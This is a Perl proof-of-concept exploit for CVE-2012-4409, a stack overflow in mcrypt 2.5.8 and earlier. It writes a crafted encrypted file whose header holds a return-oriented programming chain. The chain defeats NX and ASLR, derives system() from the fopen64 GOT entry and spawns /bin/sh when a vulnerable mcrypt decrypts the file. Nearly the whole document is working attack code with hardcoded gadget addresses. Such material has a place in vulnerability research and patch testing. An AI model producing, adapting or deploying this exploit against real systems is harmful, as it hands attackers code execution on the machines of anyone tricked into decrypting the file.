#!/usr/bin/perl
# Title : mcrypt <= 2.5.8 STACK based overflow
# Date : 23/11/2012
# Exploit Author : Tosh
# CVE : CVE-2012-4409
# Patch : http://www.openwall.com/lists/oss-security/2012/09/06/8
# Tested on : Archlinux 3.6.6-1, without SSP
# This script exploit a stack based overflow in mcrypt <= 2.5.8.
# It bypass NX and ASLR protections, but no SSP.
# This exploit craft a crypted file and arbitrary code may be executed if the file is decrypted with a vulnerable version
# of mcrypt. The vulnerable function is check_file_head(), present in src/extra.c. See the CVE details or the patch for more
# informations.
# Payload must be adjusted on others plateforms, here is just a Proof of Concept :)
use strict;
use warnings;
my $filename = 'fake.nc';
my $file;
my $payload;
print "[+] Build payload.\n";
$payload = payload();
print "[+] Build file.\n";
$file = build_file($payload);
print "[+] Writing $filename.\n";
write_file();
print "[+] DONE.\n";
sub write_file {
die("[-] Can't open $filename : $!\n") unless(open F, '>', $filename);
print F $file;
close F;
}
sub build_file {
# magic
$file .= "\x00m\x03";
# flags
$file .= pack('C', 1 << 6);
# algorithm
$file .= "H\@Ck3d\x00";
# keysize
$file .= pack('S', 0xdead);
# mode
$file .= "h\@cK3d\x00";
# keymode
$file .= "H\@CK3D\x00";
# sflags
$file .= "\xff";
# payload
$file .= $_[0];
return $file;
}
sub payload {
my $saved_eip_off = 0x71; # Buffer len for overwrite saved EIP
my $v_local_1 = 0x0805b000; # Local variable 1 overwriten
my $v_local_2 = 0x08048007; # Local variable 2 overwriten
my $ret_sled = 5; # Offset between saved EIP and local variables
my $strcpy_plt = 0x080499f0; # strcpy@plt address
my $fopen64_got = 0x0805b1c8; # fopen64 got entry
my $system_off = 0xfffd6b30; # fopen64 - system
my $w_mem = 0x0805b000; # writable memory, without ASLR
my $pop2_ret = 0x08055a63; # pop; pop; ret
my $ret = 0x0805a5ed; # ret
my $pop_ebx = 0x08056186; # pop ebx; ret
my $pop_edi = 0x08053460; # pop edi; ret
my $xchg_eax = 0x080517a4; # xchg eax, edi; ret
my $add_eax = 0x0804dabf; # add eax,[ebx-0x2776e73c]; pop ebx; ret
my $call_eax = 0x0804b357; # call eax; leave; ret
my $payload;
$payload .= "A"x$saved_eip_off;
$payload .= pack('L', $ret) x $ret_sled;
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $v_local_1);
$payload .= pack('L', $v_local_2);
# Copy "/bin/" in +W memory
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $w_mem + 0x00);
$payload .= pack('L', 0x08057fc2);
# Copy "sh" + "\x00" in +W memory
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $w_mem + 0x05);
$payload .= pack('L', 0x08048bab);
# Calc system() address with fopen64 GOT entry
$payload .= pack('L', $pop_ebx);
$payload .= pack('L', $fopen64_got + 0x2776e73c);
$payload .= pack('L', $pop_edi);
$payload .= pack('L', $system_off);
$payload .= pack('L', $xchg_eax);
$payload .= pack('L', $add_eax);
$payload .= "HaCk";
# Call system("/bin/sh")
$payload .= pack('L', $call_eax);
$payload .= pack('L', $w_mem);
die("[-] Payload too long !\n") if(length $payload > 0xfe);
return $payload;
}
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